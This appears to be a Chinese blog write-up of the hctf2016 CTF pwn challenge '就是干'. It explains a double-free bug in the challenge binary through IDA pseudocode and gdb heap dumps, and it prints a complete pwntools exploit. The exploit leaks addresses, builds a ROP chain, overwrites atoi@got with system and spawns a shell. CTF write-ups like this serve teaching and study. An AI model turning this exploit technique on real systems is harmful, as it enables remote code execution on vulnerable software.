一个实例讲解fastbins上的堆利用
2017-09-06 14:01
471 查看
这道题是hctf2016年“就是干”那道题。附件有下载地址及writeup。我就是分析一下:
首先IDA分析一下:
新建两个结构体
这两个结构体非常重要了,涉及到后边堆的利用,首先介绍一下第一个结构体str_struct吧,大小是0x20,当要保存的字符串大小小于0xf 时,字符串就保存在0x0-0xf处,当保存的字符串大小大于0xf时,0x0-0x8保存一个指针,指向字符串的地址。 0x10-0x17表示字符串的大小,0x18-0x1f表示free函数的地址。
再介绍一下str_list结构体,当创建string时,置flag=1,当delete string,置flag=0,str-ptr指向str_struct结构体。
然后我把IDA的伪代码贴出来,方便以后分析:
主要就是这两个函数了
问题就出在delete函数string_list[sid].str_ptr 这一句,本来是判断flag的,这里变成了判断其他的,所以可以free一个已经free的块了。
咱们还是根据exploit来具体分析一下吧 ,先贴代码:
创建两个堆块,大小都是4,因为小于0xf,所以直接写到结构体str_struct中:
这就是此时的内存布局,其中id=0的表示0x557a3c652000的堆,id=1的表示0x557a3c652030的堆
0x557a3c652020处表示string的大小,0x557a3c652028表示函数free的地址。
这里我们假设free地址如果可以被覆盖为其他函数的地址,那么其他函数就可以得到执行的机会了。。。
第一次调用delete(0):
第一次调用delete(1)后:
可以看到id=1的堆的fd已经指向了id=0的堆
第二次调用delete(0)后:
可以看到此时id=0的堆的fd也指向了id=1的堆,形成循环链表。
create(4, '\x00')
此时会从id=0的堆上创建堆。(因为此时的fastbins是这样的fastbins->chunk0->chunk1->chunk0)
创建后,内存结构是没有变化的,因为根本没有复制数据:
create(0x20, 'a' * 0x16 + 'lo' + '\x2d\x00') 此时的创建string就是重点了,创建前fastbins->chunk1->chunk0
先看一下create的内部工作原理吧 ,因为此时创建的string大小为0x20大于0xf,所以会在结构体 str_struct 起始处新建一个指针,指向一个堆,堆中保存string数据,堆的大小正好是0x20+0x10,而此时的fastbins链是:fastbins->chunk1->chunk0,所以会将保存string的堆指向chunk0(即id=0的堆)。
创建后内存布局:
‘lo’就是为了好识别,可以看到成功将chunk0的0x18-0x1f的最后一个字节修改为0x2d,也就是成功将函数free的地址指针修改为0x0000557a3c168d2d(此地址正好是call puts的地址)
此时调用free函数,也就是调用我们的puts函数了,正好将0x557a3c652010-0x557a3c652030的数据打印出来了,这样就把(call puts)的内存地址打印出来了,然后就可以获取该ELF的基地址了。
delete(1)
首先说明一下,在调用create(0x20, 'a' * 0x16 + 'lo' + '\x2d\x00')后,此时fastbins->chunk1,然后是delete(0)因为此时实际调用的是puts函数,所以没有变化还是fastbins->chunk1。
当delete(1)时,内部调用free_2函数:
可以看到此时应该是先free chunk0,后free chunk1(chunk1首地址保存的是chunk0的指针),所以该操作后: fastbins->chunk1->chunk0->chunk1
create(4, '\x00') 后 fastbins->chunk0->chunk1
create(0x20, 'a' * 0x18 + p64(base_addr + 0x11dc))
在chunk0中创建指针指向chunk1,在chunk1中写入数据。
可以看到成功将chunk1的free函数替换为pppr的地址。
payload用于绕过DEP,可以看到最后是调用puts将malloc函数地址打印出来。
利用read读取数据(system地址)到atoi@got中,这样当调用atoi函数时,system得到执行,获取了shell。
delete(1, 'yes'.ljust(8, '\x00') + payload)
查看fastbins链:
p &main_arena.fastbinsY
资料下载地址:http://download.csdn.net/download/qq_35519254/9966297
参考:
1. http://pwn4.fun/2017/02/25/fastbin上的堆漏洞利用/ 2.http://www.freebuf.com/articles/web/121778.html?utm_source=tuicool&utm_medium=referral
首先IDA分析一下:
新建两个结构体
00000000 str_struct struc ; (sizeof=0x20) 00000000 str dq ? 00000008 str_padding dq ? 00000010 size dq ? 00000018 free_func dq ? 00000020 str_struct ends 00000020 00000000 ; --------------------------------------------------------------------------- 00000000 00000000 str_list struc ; (sizeof=0x10) ; XREF: .bss:string_listr 00000000 flag dq ? 00000008 str_ptr dq ? 00000010 str_list ends
这两个结构体非常重要了,涉及到后边堆的利用,首先介绍一下第一个结构体str_struct吧,大小是0x20,当要保存的字符串大小小于0xf 时,字符串就保存在0x0-0xf处,当保存的字符串大小大于0xf时,0x0-0x8保存一个指针,指向字符串的地址。 0x10-0x17表示字符串的大小,0x18-0x1f表示free函数的地址。
再介绍一下str_list结构体,当创建string时,置flag=1,当delete string,置flag=0,str-ptr指向str_struct结构体。
然后我把IDA的伪代码贴出来,方便以后分析:
__int64 create_string() { signed int i; // [sp+4h] [bp-102Ch]@12 str_struct *string_struct; // [sp+8h] [bp-1028h]@1 char *dest; // [sp+10h] [bp-1020h]@8 unsigned __int64 nbytes; // [sp+18h] [bp-1018h]@1 unsigned __int64 nbytesa; // [sp+18h] [bp-1018h]@6 char buf; // [sp+20h] [bp-1010h]@3 __int64 canary; // [sp+1028h] [bp-8h]@1 canary = *MK_FP(__FS__, 40LL); string_struct = (str_struct *)malloc(0x20uLL); printf("Pls give string size:"); nbytes = read_int(); if ( nbytes <= 0x1000 ) { printf("str:"); if ( read(0, &buf, nbytes) == -1 ) { puts("got elf!!"); exit(1); } nbytesa = strlen(&buf); if ( nbytesa > 0xF ) { dest = (char *)malloc(nbytesa); if ( !dest ) { puts("malloc faild!"); exit(1); } strncpy(dest, &buf, nbytesa); string_struct->str = (__int64)dest; string_struct->free_func = (__int64)free_2; } else { strncpy((char *)string_struct, &buf, nbytesa); string_struct->free_func = (__int64)free_1; } LODWORD(string_struct->size) = nbytesa; for ( i = 0; i <= 15; ++i ) { if ( !LODWORD(string_list[i].flag) ) { LODWORD(string_list[i].flag) = 1; string_list[i].str_ptr = (__int64)string_struct; printf("The string id is %d\n", (unsigned int)i); break; } } if ( i == 16 ) { puts("The string list is full"); ((void (__fastcall *)(str_struct *))string_struct->free_func)(string_struct); } } else { puts("Invalid size"); free(string_struct); } return *MK_FP(__FS__, 40LL) ^ canary; }
__int64 delete_string() { int sid; // [sp+Ch] [bp-114h]@1 char buf; // [sp+10h] [bp-110h]@5 __int64 v3; // [sp+118h] [bp-8h]@1 v3 = *MK_FP(__FS__, 40LL); printf("Pls give me the string id you want to delete\nid:"); sid = read_int(); if ( sid < 0 || sid > 16 ) puts("Invalid id"); if ( string_list[sid].str_ptr ) { printf("Are you sure?:"); read(0, &buf, 0x100uLL); if ( !strncmp(&buf, "yes", 3uLL) ) { (*(void (__fastcall **)(__int64, _QWORD))(string_list[sid].str_ptr + offsetof(str_struct, free_func)))( string_list[sid].str_ptr, "yes"); LODWORD(string_list[sid].flag) = 0; } } return *MK_FP(__FS__, 40LL) ^ v3; }
主要就是这两个函数了
问题就出在delete函数string_list[sid].str_ptr 这一句,本来是判断flag的,这里变成了判断其他的,所以可以free一个已经free的块了。
咱们还是根据exploit来具体分析一下吧 ,先贴代码:
#!/usr/bin/python #coding:utf-8 from pwn import * #r = remote('127.0.0.1', 4444) r=process('./pwn-f') def create(size, string): r.recvuntil('quit') r.sendline('create ') r.recvuntil('size:') r.sendline(str(size)) r.recvuntil('str:') r.send(string) def delete(id, sure = 'yes'): r.recvuntil('quit') r.sendline('delete ') r.recvuntil('id:') r.sendline(str(id)) r.recvuntil('sure?:') r.sendline(sure) pause() create(4, 'aaa\n') create(4, 'aaa\n') delete(0) # fastbin->chunk0 delete(1) # fastbin->chunk1->chunk0 delete(0) # fastbin->chunk0->chunk1->chunk0 create(4, '\x00') # 长度为0,没有拷贝 fastbin->chunk1->chunk0->chunk1 # malloc-ptr: fastbin->chunk0->chunk1 # malloc-dest: fastbin->chunk1 create(0x20, 'a' * 0x16 + 'lo' + '\x2d\x00') # 0x2d会覆盖free func的最后一位,覆盖为puts的地址 delete(0) r.recvuntil('lo') puts_addr = r.recvline()[:-1] base_addr = u64(puts_addr.ljust(8, '\x00')) - 0xd2d print 'base_addr = ' + hex(base_addr) delete(1) # 调用free2,先free chunk0再free chunk1: fastbin->chunk1->chunk0->chunk1 create(4, '\x00') # fastbin->chunk0->chunk1->chunk0 # malloc-ptr: fastbin->chunk1->chunk0 # malloc-dest: fastbin->chunk0 create(0x20, 'a' * 0x18 + p64(base_addr + 0x11dc)) # pop_pop_pop_pop_ret payload = p64(base_addr + 0x11e3) # pop_rdi_ret payload += p64(base_addr + 0x202070) # malloc@got payload += p64(base_addr + 0x990) # puts@plt payload += p64(base_addr + 0x11e3) payload += p64(1) payload += p64(base_addr + 0x11da) # pop6_ret payload += p64(0) # rbx payload += p64(1) # rbp payload += p64(base_addr + 0x202058) # r12 -> rip read@got payload += p64(8) # r13 -> rdx payload += p64(base_addr + 0x202078) # r14 -> rsi atoi@got payload += p64(0) # r15 -> rdi payload += p64(base_addr + 0x11c0) # 通用gadget payload += 'a' * 8 * 7 payload += p64(base_addr + 0xb65) # read_num delete(1, 'yes'.ljust(8, '\x00') + payload) malloc_addr = u64(r.recvline()[:-1].ljust(8, '\x00')) libc_addr = malloc_addr - 0x84130 print 'libc_addr = ' + hex(libc_addr) system_addr = libc_addr + 0x45390 print 'system_addr = ' + hex(system_addr) r.sendline(p64(system_addr) + '/bin/sh') r.interactive()
create(4, 'aaa\n') create(4, 'aaa\n')
创建两个堆块,大小都是4,因为小于0xf,所以直接写到结构体str_struct中:
这就是此时的内存布局,其中id=0的表示0x557a3c652000的堆,id=1的表示0x557a3c652030的堆
0x557a3c652020处表示string的大小,0x557a3c652028表示函数free的地址。
这里我们假设free地址如果可以被覆盖为其他函数的地址,那么其他函数就可以得到执行的机会了。。。
delete(0) # fastbin->chunk0 delete(1) # fastbin->chunk1->chunk0 delete(0) # fastbin->chunk0->chunk1->chunk0
第一次调用delete(0):
gdb-peda$ x/20gx 0x557a3c652000 0x557a3c652000: 0x0000000000000000 0x0000000000000031 0x557a3c652010: 0x0000000000000000 0x0000000000000000 0x557a3c652020: 0x0000000000000004 0x0000557a3c168d52 0x557a3c652030: 0x0000000000000000 0x0000000000000031 0x557a3c652040: 0x000000000a616161 0x0000000000000000 0x557a3c652050: 0x0000000000000004 0x da2d 0000557a3c168d52
第一次调用delete(1)后:
gdb-peda$ x/20gx 0x557a3c652000 0x557a3c652000: 0x0000000000000000 0x0000000000000031 0x557a3c652010: 0x0000000000000000 0x0000000000000000 0x557a3c652020: 0x0000000000000004 0x0000557a3c168d52 0x557a3c652030: 0x0000000000000000 0x0000000000000031 0x557a3c652040: 0x0000557a3c652000 0x0000000000000000 0x557a3c652050: 0x0000000000000004 0x0000557a3c168d52
可以看到id=1的堆的fd已经指向了id=0的堆
第二次调用delete(0)后:
gdb-peda$ x/20gx 0x557a3c652000 0x557a3c652000: 0x0000000000000000 0x0000000000000031 0x557a3c652010: 0x0000557a3c652030 0x0000000000000000 0x557a3c652020: 0x0000000000000004 0x0000557a3c168d52 0x557a3c652030: 0x0000000000000000 0x0000000000000031 0x557a3c652040: 0x0000557a3c652000 0x0000000000000000 0x557a3c652050: 0x0000000000000004 0x0000557a3c168d52
可以看到此时id=0的堆的fd也指向了id=1的堆,形成循环链表。
create(4, '\x00')
此时会从id=0的堆上创建堆。(因为此时的fastbins是这样的fastbins->chunk0->chunk1->chunk0)
创建后,内存结构是没有变化的,因为根本没有复制数据:
gdb-peda$ x/20gx 0x557a3c652000 0x557a3c652000: 0x0000000000000000 0x0000000000000031 0x557a3c652010: 0x0000557a3c652030 0x0000000000000000 0x557a3c652020: 0x0000000000000000 0x0000557a3c168d52 0x557a3c652030: 0x0000000000000000 0x0000000000000031 0x557a3c652040: 0x0000557a3c652000 0x0000000000000000 0x557a3c652050: 0x0000000000000004 0x0000557a3c168d52
create(0x20, 'a' * 0x16 + 'lo' + '\x2d\x00') 此时的创建string就是重点了,创建前fastbins->chunk1->chunk0
先看一下create的内部工作原理吧 ,因为此时创建的string大小为0x20大于0xf,所以会在结构体 str_struct 起始处新建一个指针,指向一个堆,堆中保存string数据,堆的大小正好是0x20+0x10,而此时的fastbins链是:fastbins->chunk1->chunk0,所以会将保存string的堆指向chunk0(即id=0的堆)。
创建后内存布局:
gdb-peda$ x/20gx 0x557a3c652000 0x557a3c652000: 0x0000000000000000 0x0000000000000031 0x557a3c652010: 0x6161616161616161 0x6161616161616161 0x557a3c652020: 0x6f6c616161616161 0x0000557a3c168d2d 0x557a3c652030: 0x0000000000000000 0x0000000000000031 0x557a3c652040: 0x0000557a3c652010 0x0000000000000000 0x557a3c652050: 0x0000000000000019 0x0000557a3c168d6c
‘lo’就是为了好识别,可以看到成功将chunk0的0x18-0x1f的最后一个字节修改为0x2d,也就是成功将函数free的地址指针修改为0x0000557a3c168d2d(此地址正好是call puts的地址)
delete(0) r.recvuntil('lo') puts_addr = r.recvline()[:-1] base_addr = u64(puts_addr.ljust(8, '\x00')) - 0xd2d print 'base_addr = ' + hex(base_addr)
此时调用free函数,也就是调用我们的puts函数了,正好将0x557a3c652010-0x557a3c652030的数据打印出来了,这样就把(call puts)的内存地址打印出来了,然后就可以获取该ELF的基地址了。
delete(1)
首先说明一下,在调用create(0x20, 'a' * 0x16 + 'lo' + '\x2d\x00')后,此时fastbins->chunk1,然后是delete(0)因为此时实际调用的是puts函数,所以没有变化还是fastbins->chunk1。
当delete(1)时,内部调用free_2函数:
.text:0000000000000D6C free_2 proc near ; DATA XREF: create_string+18Co .text:0000000000000D6C .text:0000000000000D6C ptr = qword ptr -8 .text:0000000000000D6C .text:0000000000000D6C push rbp .text:0000000000000D6D mov rbp, rsp .text:0000000000000D70 sub rsp, 10h .text:0000000000000D74 mov [rbp+ptr], rdi .text:0000000000000D78 mov rax, [rbp+ptr] .text:0000000000000D7C mov rax, [rax] .text:0000000000000D7F mov rdi, rax ; ptr .text:0000000000000D82 call _free .text:0000000000000D87 mov rax, [rbp+ptr] .text:0000000000000D8B mov rdi, rax ; ptr .text:0000000000000D8E call _free .text:0000000000000D93 leave .text:0000000000000D94 retn .text:0000000000000D94 free_2 endp
可以看到此时应该是先free chunk0,后free chunk1(chunk1首地址保存的是chunk0的指针),所以该操作后: fastbins->chunk1->chunk0->chunk1
gdb-peda$ x/20gx 0x557a3c652000 0x557a3c652000: 0x0000000000000000 0x0000000000000031 0x557a3c652010: 0x0000557a3c652030 0x6161616161616161 0x557a3c652020: 0x6f6c616161616161 0x0000557a3c168d2d 0x557a3c652030: 0x0000000000000000 0x0000000000000031 0x557a3c652040: 0x0000557a3c652000 0x0000000000000000 0x557a3c652050: 0x0000000000000000 0x0000557a3c168d52
create(4, '\x00') 后 fastbins->chunk0->chunk1
gdb-peda$ x/20gx 0x557a3c652000 0x557a3c652000: 0x0000000000000000 0x0000000000000031 0x557a3c652010: 0x0000557a3c652030 0x6161616161616161 0x557a3c652020: 0x6f6c616161616161 0x0000557a3c168d2d 0x557a3c652030: 0x0000000000000000 0x0000000000000031 0x557a3c652040: 0x0000557a3c652000 0x0000000000000000 0x557a3c652050: 0x0000000000000000 0x0000557a3c168d52
create(0x20, 'a' * 0x18 + p64(base_addr + 0x11dc))
在chunk0中创建指针指向chunk1,在chunk1中写入数据。
gdb-peda$ x/20gx 0x557a3c652000 0x557a3c652000: 0x0000000000000000 0x0000000000000031 0x557a3c652010: 0x0000557a3c652040 0x6161616161616161 0x557a3c652020: 0x6f6c61610000001e 0x0000557a3c168d6c 0x557a3c652030: 0x0000000000000000 0x0000000000000031 0x557a3c652040: 0x6161616161616161 0x6161616161616161 0x557a3c652050: 0x6161616161616161 0x0000557a3c1691dc
可以看到成功将chunk1的free函数替换为pppr的地址。
payload = p64(base_addr + 0x11e3) # pop_rdi_ret payload += p64(base_addr + 0x202070) # malloc@got payload += p64(base_addr + 0x990) # puts@plt payload += p64(base_addr + 0x11e3) payload += p64(1) payload += p64(base_addr + 0x11da) # pop6_ret payload += p64(0) # rbx payload += p64(1) # rbp payload += p64(base_addr + 0x202058) # r12 -> rip read@got payload += p64(8) # r13 -> rdx payload += p64(base_addr + 0x202078) # r14 -> rsi atoi@got payload += p64(0) # r15 -> rdi payload += p64(base_addr + 0x11c0) # 通用gadget payload += 'a' * 8 * 7 payload += p64(base_addr + 0xb65) # read_num
payload用于绕过DEP,可以看到最后是调用puts将malloc函数地址打印出来。
利用read读取数据(system地址)到atoi@got中,这样当调用atoi函数时,system得到执行,获取了shell。
delete(1, 'yes'.ljust(8, '\x00') + payload)
查看fastbins链:
p &main_arena.fastbinsY
资料下载地址:http://download.csdn.net/download/qq_35519254/9966297
参考:
1. http://pwn4.fun/2017/02/25/fastbin上的堆漏洞利用/ 2.http://www.freebuf.com/articles/web/121778.html?utm_source=tuicool&utm_medium=referral
相关文章推荐
- 利用JS做网页特效_大图轮播(实例讲解)
- SpringMVC-(1)一个简单的实例demo及讲解
- 利用python将pdf输出为txt的实例讲解
- PHP给前端返回一个JSON对象的实例讲解
- 利用solr实现商品的搜索功能(实例讲解)
- 利用归并排序法计算一个序列里有多少逆序对数(详细讲解)
- 一个利用扩展方法的实例:AttachDataExtensions (改良老赵方法)
- PyQt4 精彩实例分析* 实例9 利用Qt Designer设计一个对话框
- DIV完全自适应的实例,利用overflow:hidden你可以去掉默认存在的滚动条,一个仿框架的div布局就非常容易了
- 图解利用Eclipse3+Lomboz3+Tomcat开发JSP --3.一个JSTL实例
- 利用jQuery设计一个简单的web音乐播放器的实例分享
- 利用kotlin实现一个饼图实例代码
- PHP利用文件锁实现只运行一个实例
- C#利用反射,遍历获得一个类的所有属性名,以及该类的实例的所有属性的值
- 利用互斥体(MUTEX)实现程序只允许运行一个实例
- 今天看了一个利用MYeclipse进行Struts讲解的视频和大家分享一下
- 利用命名对象来防止运行一个应用程序的多个实例
- 利用HttpModuler实现WEB程序同一时间只让一个用户实例登陆
- 利用HttpModuler实现WEB程序同一时间只让一个用户实例登陆
- CE MAPI实例讲解 --- IMAPIAdviseSink的一个例子(四)